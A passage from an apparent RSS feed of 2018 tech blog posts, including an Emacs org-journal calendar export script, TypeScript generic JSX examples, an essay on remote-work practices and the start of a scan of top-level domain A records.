&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-4"&gt;&lt;a href="#footnote-reference-4"&gt;4&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Genetic_algorithm"&gt;https://en.wikipedia.org/wiki/Genetic_algorithm&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-5"&gt;&lt;a href="#footnote-reference-5"&gt;5&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;&lt;a href="https://pragprog.com/book/cjclojure/mastering-clojure-macros"&gt;https://pragprog.com/book/cjclojure/mastering-clojure-macros&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Mon, 04 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/code-and-data/</guid></item><item><title>Teens have abandoned Facebook and it's bad</title><link>https://stop.zona-m.net/2018/06/teens-have-abandoned-facebook-and-its-bad/</link><description>&lt;p&gt;Don&amp;rsquo;t worry, I am not out of my mind. I still say we should all leave Facebook now. I still promote &lt;a href="http://per-cloud.com"&gt;a way to do it&lt;/a&gt; that is jus a tiny bit more realistic and feasible in the short term than almost everything I&amp;rsquo;ve seen around so far. Still, the &lt;strong&gt;reasons and the way&lt;/strong&gt; teens are abandoning Facebook &lt;strong&gt;are&lt;/strong&gt; bad. Or, as a minimum, misreported.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 03 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/teens-have-abandoned-facebook-and-its-bad/</guid></item><item><title>What if WhatsApp, Snapchat and Amazon launched in the 80s</title><link>https://yasha.solutions/what-if-whatsapp-snapchat-and-amazon-launched-in-the-80s/</link><description>Ok, let’s chill for a sec.
If you don’t know about Jo Luijten, he is a Dutch video artist &amp;amp; video game developer based in LA, and beside his impressive portfolio, he also feed a youtube channel name Squirrel Monkeywith some funny retro videos.
I stumbled upon his creations the other day and had to share some here.
Check his channel if you want more vids (got on Siri, Tinder, Insta, Bitcoin and more).</description><author>Yasha Solutions</author><pubDate>Sun, 03 Jun 2018 15:02:39 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/what-if-whatsapp-snapchat-and-amazon-launched-in-the-80s/</guid></item><item><title>Syncing Org-Journal with your Calendar</title><link>https://bastibe.de/2018-06-03-syncing-org-journal-with-your-calendar.html</link><description>&lt;p&gt;&lt;a href="https://bastibe.de/2018-04-02-scheduling-future-todos-in-org-journal.html"&gt;A month ago&lt;/a&gt;, org-journal learned to deal with future journal entries. I use future journal entries for appointments or not-yet-actionable tasks that I don't want in my current TODO list just yet. This works really well while I am at my computer, and really does not work at all when I am not (&lt;a href="http://www.orgzly.com/"&gt;Orgzly&lt;/a&gt; does &lt;em&gt;not&lt;/em&gt; work with my 1k-file journal directory).&lt;/p&gt;
&lt;p&gt;But, as I keep re-discovering, org-mode already has a solution for this: org-mode can export your agenda to an iCalendar file! Most calendar applications can then subscribe to that file, and show your future journal entries right in your calendar. And if you set it up right, this will even sync changes to your calendar!&lt;/p&gt;
&lt;p&gt;First, you need to set up some kind of regular export job. I use a cron job that regularly runs an Emacs batch job &lt;code&gt;emacs --batch --script ~/bin/calendar_init.el&lt;/code&gt; with the following code in &lt;code&gt;calendar​_init.el&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;;; no init file is loaded, so provide everything here:&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-to-list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'load-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;~/etc/org-journal/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;org-journal-dir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;~/journal/&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; where my journal files are&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;org-journal-file-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%Y-%m-%d.org&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; their file names&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;org-journal-enable-agenda-integration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; so entries are on the agenda&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;org-icalendar-store-UID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; so changes sync correctly&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;org-icalendar-include-todo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;all&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; include TODOs and DONEs&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;org-icalendar-combined-agenda-file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;~/calendar/org-journal.ics&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'org-journal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-journal-update-org-agenda-files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; put future entries on the agenda&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;org-icalendar-combine-agenda-files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; export the ICS file&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;save-buffers-kill-emacs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; save all modified files and exit&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It is important to set &lt;code&gt;org-icalendar-store-UID&lt;/code&gt;, as otherwise every change to a future entry would result in a duplicated calendar entry. It will clutter up your journal entries with an &lt;code&gt;UID&lt;/code&gt; property, though.&lt;/p&gt;
&lt;p&gt;I do this on my web server, with my journal files &lt;a href="https://syncthing.net/"&gt;syncthing&lt;/a&gt;ed from my other computers. With that, I can subscribe to the calendar file from any internet-connected computer or mobile phone (using &lt;a href="https://icsdroid.bitfire.at/"&gt;ICSdroid&lt;/a&gt;). But you could just as well sync only the ICS file, or just subscribe to the local file, if you don't want to upload your complete yournal to a web server.&lt;/p&gt;
&lt;p&gt;(Incidentally, I first implemented my own ICS export, before realizing that this functionality already existed in org-mode. It was a fun little project, and I learned a lot about org-mode's internal data structures and the weirdness that are iCalendar files.)&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sun, 03 Jun 2018 13:28:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-06-03-syncing-org-journal-with-your-calendar.html</guid></item><item><title>Black Mirror: Season 4</title><link>https://olshansky.info/tv/black_mirror_season_4/</link><description>Olshansky's review of Black Mirror: Season 4</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 03 Jun 2018 11:19:49 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/black_mirror_season_4/</guid></item><item><title>Ready Player One</title><link>https://olshansky.info/movie/ready_player_one/</link><description>Olshansky's review of Ready Player One</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 03 Jun 2018 11:13:14 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/ready_player_one/</guid></item><item><title>Poverty and Competition</title><link>https://trigonaminima.github.io/2018/06/poverty-competition/</link><description/><author>Playground</author><pubDate>Sun, 03 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2018/06/poverty-competition/</guid></item><item><title>Unicorn Paint</title><link>https://mfashby.net/posts/2018-06-02-unicornpaint/</link><description/><author>Home on mfashby.net</author><pubDate>Sun, 03 Jun 2018 00:33:00 GMT</pubDate><guid isPermaLink="true">https://mfashby.net/posts/2018-06-02-unicornpaint/</guid></item><item><title>Generic Type Arguments in JSX Elements</title><link>https://dylanpaulus.com/posts/2018/generic-jsx-type-argument/</link><description>&lt;p&gt;Typescript recently released generic type arguments for JSX in their 2.9 release. It's a mouthfull, but what does that mean for us? A common use-case I'm excited for is allowing consumers of libraries to extend a component's props. Using [dynamic components]({% post_url 2017-07-26-injecting-react-tag-types %}) we'll look at allowing our components to be extended even more.&lt;/p&gt;
&lt;h3&gt;What Are Generic Type Arguments?&lt;/h3&gt;
&lt;p&gt;As shown in the &lt;a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-9.html#generic-type-arguments-in-jsx-elements"&gt;Typescript release notes&lt;/a&gt;, generic type arguments are a way to create components using Typescript's generics syntax. Below is a side-by-side comparison of the old way vs. using generic type arguments.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;The Old Way:&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Notice color isn't defined as a prop, and will error out normally
function Div(props: { value: string }) {
  const { value, ...rest } = this.props;

  return &amp;lt;div {...rest} /&amp;gt;;
}

// Using spread, we can trick Typescript into ignoring that color will be a prop
// on Div
function App() {
  return &amp;lt;Div {...{ color: "red" }} /&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;Generic Type Arguments:&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Notice our new generic on the component
function Div&amp;lt;T extends object&amp;gt;(props: { value: string } &amp;amp; T) {
    const { value, ...rest } = props as any; // spreading on generics not yet supported

    return &amp;lt;div {...rest} /&amp;gt;
}

interface IAdditionalProps {
    color: string;
}

// We can tell typescript our Div element has additional properties!
function App() {
    // Generic Type Arguments!
    return &amp;lt;Div&amp;lt;IAdditionalProps&amp;gt; color="red" value="TEXT!!!" /&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the same can be used with class components:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Notice our new generic on the component
class Div&amp;lt;T extends object&amp;gt; extends React.Component&amp;lt;{ value: string } &amp;amp; T&amp;gt; {
    public render() {
        const { value, ...rest } = this.props as any;

        return &amp;lt;div {...rest} /&amp;gt;
    }
}

interface IAdditionalProps {
    color: string;
}

// We can tell typescript our Div element has additional properties!
function App() {
    return &amp;lt;Div&amp;lt;IAdditionalProps&amp;gt; color="red" value="TEXT!!" /&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dynamic Elements&lt;/h3&gt;
&lt;p&gt;Let's say we have a &lt;strong&gt;MenuItem&lt;/strong&gt; component that could be overloaded with either a Router link component, or a html &lt;em&gt;a&lt;/em&gt; tag. One way we might write this...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface IProps {
  tag: React.ReactNode;
  children: React.ReactNode;
}

function MenuItem({ tag, children, ...rest }: IProps) {
  const Tag: React.ReactType = tag || "a";

  return &amp;lt;Tag {...rest}&amp;gt;{children}&amp;lt;/Tag&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;MenuItem&lt;/strong&gt; works perfect fine as a component, but when it's time to add additional properties, Typescript will yell. For example, the &lt;em&gt;a&lt;/em&gt; tag needs a &lt;em&gt;href&lt;/em&gt; prop. We don't want to hardcode &lt;em&gt;href&lt;/em&gt;, because we can inject any type of element through the &lt;em&gt;tag&lt;/em&gt; prop (React Router, button, etc).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;MenuItem tag="a" href="http://google.com"&amp;gt;Click Me!&amp;lt;/MenuItem&amp;gt; // Error because href isn't defined in IProps!
&amp;lt;MenuItem tag={Link} to="/home"&amp;gt;Home&amp;lt;/MenuItem&amp;gt; // Error because to isn't defined in IProps!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can fix our errors using generic type arguments.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface IProps {
  tag: React.ReactNode;
  children: React.ReactNode;
}

function MenuItem&amp;lt;T extends object&amp;gt;(props: IProps &amp;amp; T) {
  const { tag, children, ...rest } = props as any;
  const Tag: React.ReactType = tag || "a";

  return (
      &amp;lt;Tag {...rest}&amp;gt;
          {children}
      &amp;lt;/Tag&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the consumer of our &lt;strong&gt;MenuItem&lt;/strong&gt; component can tell us what additional properties are needed!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;MenuItem&amp;lt;{ href: string }&amp;gt; tag="a" href="http://google.com"&amp;gt;Click Me!&amp;lt;/MenuItem&amp;gt; // Success!
&amp;lt;MenuItem&amp;lt;{ to: string }&amp;gt; tag={Link} to="/home"&amp;gt;Home&amp;lt;/MenuItem&amp;gt; // Success!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Through generic type arguments for JSX, we are able to make our component more reusable. Users can extend components to allow additional props. Great!&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Sat, 02 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/generic-jsx-type-argument/</guid></item><item><title>How I Work Remotely</title><link>https://ntietz.com/blog/how-i-work-remotely/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;I've been working remote since September 2016. There are a lot of engineers who have worked remote longer than I have; there are others who have more insight into how they work than I do; and there are plenty of people who simply don't work in the same way I do. My intention in this post is to share how I work, the reasons why I work that way, and what I think others should try while finding the process that works best for them and their teams.&lt;/p&gt;
&lt;h1 id="remote-work-round-1"&gt;Remote Work, Round 1&lt;/h1&gt;
&lt;p&gt;In September 2016, I joined a team as a remote engineer for the first time. I had just recently left a full-time traditional software engineering job to pursue my own company: I was splitting my time between 50% contract work / consulting and 50% personal projects with the goal of creating a startup. (I managed that, and co-founded a &lt;a href="https://www.dacatime.com"&gt;startup non-profit&lt;/a&gt; which aims to make the barrier for immigration whether you &lt;em&gt;qualify&lt;/em&gt;, not whether you can &lt;em&gt;navigate bureaucracy&lt;/em&gt;.)&lt;/p&gt;
&lt;p&gt;This was a learning experience for me in more ways than I was prepared for. This year of independence taught be a lot about time management, prioritization, the sheer difficulty of starting and running a business (let alone two at the same time). It also taught me a lot about how to work effectively. I'm going to focus on that: the mistakes I made and lessons I learned which increased my productivity and happiness as an engineer.&lt;/p&gt;
&lt;p&gt;In many ways, it's easier to identify what not to do, rather than what to do, so I'll start there.&lt;/p&gt;
&lt;p&gt;My first real remote-work experience was as the solitary remote engineer on an otherwise colocated team. I put my head down and &lt;strong&gt;focused on pure productivity, ignoring personal interactions&lt;/strong&gt;. This worked well in some respects, because the code I wrote was really good code and achieved its purpose. However, it failed to recognize one important aspect of that work: yes, I was a remote engineer... &lt;em&gt;on a team&lt;/em&gt;. I never built cohesion with the rest of the team, which led to some suboptimal outcomes.&lt;/p&gt;
&lt;p&gt;I also communicated &lt;strong&gt;at a level I thought was appropriate, and avoided over-communicating&lt;/strong&gt;. What I have found since then is that it is almost impossible to over-communicate (I would say that it &lt;em&gt;is&lt;/em&gt; impossible, but I tend to avoid absolutes). More on over-communication later; for now, suffice to say that a lack of communication leads to decreased visibility, clarity, and rapport.&lt;/p&gt;
&lt;p&gt;For another client, our project ended up having a mismatch between delivery and expectations for one team member. We expected a certain outcome, he expected a different outcome, and at the end of the day, the stakeholders were unhappy with what we delivered. This, too, was a result of &lt;strong&gt;not checking in with the team and building a rapport&lt;/strong&gt;. If we had had more frequent check-ins as a team and had more rapport built-up, then it would have been much easier to both detect the problem and to course-correct for it.&lt;/p&gt;
&lt;p&gt;A lot of these mistakes can be boiled down to highlight what it is important to value:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Frequent clear communication&lt;/li&gt;
&lt;li&gt;Team cohesion and rapport&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My observation is that engineers tend to be singularly focused on &lt;em&gt;shipping&lt;/em&gt; and less focused on the other aspects, so deliberate attention toward these helps avoid these kinds of mistakes. A team of remote engineers is still a &lt;em&gt;team&lt;/em&gt;, and the team aspects of the problems will not be solved unless you, dear reader, approach them with intention.&lt;/p&gt;
&lt;h1 id="leveling-up"&gt;Leveling Up&lt;/h1&gt;
&lt;p&gt;In July 2017, I joined &lt;a href="https://remesh.ai"&gt;Remesh&lt;/a&gt; as the third engineer, and the first remote employee. I knew I had to approach remote work with more intention to win the trust of the team--not just to protect myself and my job, but also to avoid giving a negative impression of remote work in general. Since then, we've hired more remote engineers and I'm still employed (🤞), so I would say it has gone well!&lt;/p&gt;
&lt;p&gt;In spite of the mistakes I made in remote work previously, I was still an effective engineer. With this new job, I wanted to make sure I was not just effective, but could set others up for success as well, as the team grew. To learn more and refine my approach, I read Cal Newport's book &lt;a href="http://calnewport.com/books/deep-work/"&gt;Deep Work&lt;/a&gt;, Julia Evans' excellent &lt;a href="https://jvns.ca/blog/2018/02/18/working-remotely--4-years-in/"&gt;remote work blog post&lt;/a&gt;, and countless posts on StackOverflow, Reddit, and HackerNews about how to do this effectively. I ended up with an approach that works very well for me and which may be useful for others.&lt;/p&gt;
&lt;p&gt;What I have found is that the most important thing to work on as a remote engineer is &lt;strong&gt;communication&lt;/strong&gt;, and your &lt;strong&gt;working style&lt;/strong&gt; is also key to your individual and team success.&lt;/p&gt;
&lt;h2 id="communication"&gt;Communication&lt;/h2&gt;
&lt;p&gt;Communication is where a lot of teams break down, especially teams which are a hybrid of remote and colocated engineers (one of the most challenging team architectures, in my opinion). Communication takes active effort to learn and is certainly not taught in computer science curriculums, which is part of why you primarily see senior engineers working remote: junior engineers need more active, personal, face-to-face interaction to develop their craft. It is doable if you put some effort and intention into it, and here are some maxims which I've found work well.&lt;/p&gt;
&lt;h3 id="maxims-for-the-remote-engineer"&gt;Maxims for the Remote Engineer&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Always overcommunicate.&lt;/strong&gt; You can't actually achieve this, so trying to get there is a good way to ensure that lines of communication stay open and everyone knows what you're working on, how you're doing, what you're struggling with, etc. and views you as more than a couple of comments on a GitHub issue.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Let people know when you're in or out.&lt;/strong&gt; There's a tendency for colocated people to have no idea when remote people are on or off, because they can't see you, which leads to assuming that you're either always reachable or always unreachable (frustrating either way). Saying when you come online or are leaving for the day helps set expectations and establish a rhythm, just like when you see your buddies at the coffeepot in the office in the morning, and walking out at 6pm. Similarly, say when you step out for a moment to go for a walk or head to the coffeeshop, as well.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ensure that you are reachable for emergencies.&lt;/strong&gt; This usually just means: put your SMS number in your Slack profile so that if we need to find you, we can. Details vary by company. If there isn't a good way to discover your coworkers' contact info, suggest a system for it (can be as simple as a spreadsheet of phone numbers and timezones).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uninstall Slack from your phone.&lt;/strong&gt; I'll wait, do it right now. Get rid of email while you're at it. The reason for this: as a remote worker, boundaries between work and life are already blurred, so it takes extra intention and effort to actually establish separation between work and life, which will boost your productivity and make you happier.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Practice clear and concise written English.&lt;/strong&gt; We're programmers, and a lot of us were probably (unfortunately) in that group that made fun of English majors. Turns out, though, writing well is really damn important and it benefits everyone to run a spellchecker, proofread for grammar, and make sure your messages/emails are well-written and structured logically. It only takes a few minutes to do this, and it will save you and your coworkers a lot of time by making things clear the first time, instead of requiring a back-and-forth. Also, try to write with more formal English, not how you text your friends: it will be clearer to more people, and it will project more professionalism.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;(Controversial) Use tons of emoji 😁&lt;/strong&gt;. It's hard to tell someone's tone without body language. Emoji can help convey tone and at least make it clear if you intend something to be funny or not.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Schedule unstructured time with coworkers.&lt;/strong&gt; You know those water cooler conversations you have in a real office? You know how you bond over lunch? We don't have that, so you have to put in deliberate effort to construct those same interactions. I've scheduled a bunch of biweekly touchbase meetings with my peers and have gotten a lot of value out of them (including a discussion which led directly to me writing this blog post). These meetings spark interactions which wouldn't happen otherwise, and they're valuable precisely because they have no plan and no agenda. I suggest scheduling these with the people you work closely with, those you do similar work to but aren't close with, and other people across your organization. I also have been loving our &lt;a href="https://slack.com/apps/A11MJ51SR-donut"&gt;coffee buddy&lt;/a&gt; app which pairs random people every two weeks; now I've talked to a lot of people on the business side of the organization and gotten unique insights into our product.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Talk about personal things with coworkers.&lt;/strong&gt; It's important to develop bonds with your coworkers. I had no idea that my coworker Dan is as into coffee as I am until it came up in conversation in our NYC headquarters, but now we have something to break the ice and chit-chat about, leading to higher team cohesion, happiness, and productivity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Schedule deep work time.&lt;/strong&gt; One of the key benefits of remote work is the ability to easily enter into deep work. However, when you do this, manage expectations and let your coworkers know through your Slack status, calendar events, etc. that you are doing deep work and are not reachable. This manages expectations and leads to less frustration from them because it's clear why you're not responding, and less frustration for you because they're less likely to keep pushing to punch through and notify you.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use calls whenever it makes sense.&lt;/strong&gt; Even though a lot of remote work is asynchronous, a phone call is often the most efficient way to quickly hash something out and unblock someone. It's less frustrating to talk for 5 minutes than to have 20 emails back and forth. Don't call someone if they're in deep work mode, but if you're actively chatting with someone, consider if a call would be better than using text.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="maxims-for-the-colocated-engineer"&gt;Maxims for the Colocated Engineer&lt;/h3&gt;
&lt;p&gt;If you're on a team with remote engineers, it is helpful to intentionally work to enable their inclusion. Here are some maxims which I've found are helpful to follow to include your entire team, not just your colocated team.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Don't treat colocated as the default.&lt;/strong&gt; Even if your team is 90% colocated and 10% remote, if you refer to colocated engineers as "the engineers" and the remote engineers as "the remote engineers", then you are other-ing the remote team members. It is helpful to simply acknowledge that these are two categories of your employees, and make neither the default in your language.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Default to text first.&lt;/strong&gt; If you're discussing something and you &lt;em&gt;can&lt;/em&gt; do it via Slack or email, do it via Slack or email. That way everyone can participate, not just other colocated engineers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Let other people know when you're in or out.&lt;/strong&gt; Just like you can't see when remote people sign on, it's super helpful to say on Slack when you arrive in the morning, are going out for a coffee, or are heading home for the evening, so that remote people know if you're reachable or not.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ensure that you are reachable for emergencies.&lt;/strong&gt; Exactly the same as above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Practice clear and conscise written English.&lt;/strong&gt; Exactly the same as above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For one-off meetings, mention them on Slack.&lt;/strong&gt; Your colocated coworkers can overhear an interesting meeting and chime in, but your remote coworkers cannot. So if you mention something like "Hey, I'm talking with @AwesomeEngineer about CoolTopic right now," then people can respond with "Oh hey, I had thoughts on that, can you loop me in?" or "That sounds interesting, mind if I eavesdrop?" This will lead to more insights and more knowledge transfer among the team.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;In meetings, use raised hands or a passed object to get input.&lt;/strong&gt; If you rely on body language to determine who speaks next in a conversation, colocated coworkers will dominate the conversation because remote workers cannot express much body language on a call (and the call's speakers are usually quieter than a colocated person can be). If you rely on raising hands or passing an object to pass the metaphorical mic, it is much easier to see if a remote person has something to add and loop them in.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These maxims are what I've found to work for me, and are not universal laws. If you have something else you think should be included (or something which shouldn't be), email &lt;a href="mailto:me@ntietz.com"&gt;me@ntietz.com&lt;/a&gt; and I'd love to have a conversation about it!&lt;/p&gt;
&lt;h2 id="working-style"&gt;Working Style&lt;/h2&gt;
&lt;p&gt;Everyone has a different working style: morning people who get up early (hi), night owls who work late, some people work super long hours, some of us have strong work-life boundaries. Here is how I've set up my working style. I think these transfer well to colocated practices, as well, and I'd encourage trying them out.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Set a standard schedule.&lt;/strong&gt; Yes, you'll deviate sometimes, but having a standard schedule achieves two things: it gives predictability/reliability to those on your team if they need to reach you; and it makes it so that you can rest and recharge when you're outside of work. Remote engineers don't have as strong of a physical separation between work and home, so a temporal separation is very helpful.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maintain a physical separation.&lt;/strong&gt; It's very hard to dissociate work from the place where you work, so set aside some of your space for &lt;em&gt;just work&lt;/em&gt; and don't do anything there unless you're working. This also makes resting and recharging easier when you're offline. I'm fortunate to have a separate room of my house which is my office and is used just for work, but this space could be as simple as a desk in your living room that's used for work and only for work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visit colocated engineers occasionally.&lt;/strong&gt; It's important to get this face-time, especially with new team members who you have had less interaction with and with junior team members who benefit from more mentoring. And make sure you communicate your travel plans loudly and often so that everyone is aware of where you're going to be and when you will be there.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Make a daily agenda.&lt;/strong&gt; I write out all my priorities for the day and then try to fill my day (approximately 9 AM to 6 PM) in 30-minute chunks with what I am doing and when I am doing it. I rarely stick strictly to this schedule, and I believe the core benefit is going through the daily exercise of prioritization and estimating how much I can actually achieve; it keeps excess optimism in check. (If I don't do this, I tend to work longer hours and still get less done, because I feel overwhelmed and pressured.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;If you take away nothing else, take away this: approach your working style and your communication style with intention and iterate on it until you've found something that works well for your team and yourself. I've found an approach here which I think is very good and works really well for me and our team, but there is no one-size-fits-all solution.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Sat, 02 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/how-i-work-remotely/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Google owned TLDs don't have A records any more</title><link>https://captnemo.in/blog/2018/06/02/google-tld-no-more-a-records/</link><description>&lt;p&gt;A little while ago (Jan 2018), I ran a scan to see which all TLDs have an A record set (on the TLD). This is what lets you visit &lt;a href="http://ai/"&gt;http://ai/&lt;/a&gt; as a valid website on your browser, for eg.&lt;/p&gt;

&lt;p&gt;I ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/ (link is down, &lt;a href="https://web.archive.org/web/*/http://blog.towo.eu/a-records-on-top-level-domains/"&gt;archived&lt;/a&gt;) and the results are at &lt;a href="https://captnemo.in/blog/2018/02/09/tld-a-records/"&gt;https://captnemo.in/blog/2018/02/09/tld-a-records/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Decided to re-run the scan today, and noticed a stark difference: A lot of Google-owned TLD’s which were earlier pointing to &lt;code class="language-plaintext highlighter-rouge"&gt;127.0.53.53&lt;/code&gt; don’t have a A record anymore.&lt;/p&gt;

&lt;p&gt;Scan run from &lt;code class="language-plaintext highlighter-rouge"&gt;AS45609&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Results:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;TLD&lt;/th&gt;
      &lt;th&gt;IP&lt;/th&gt;
      &lt;th&gt;Web&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;ai&lt;/td&gt;
      &lt;td&gt;209.59.119.34&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://ai"&gt;[http]&lt;/a&gt;, &lt;a href="https://ai"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;arab&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
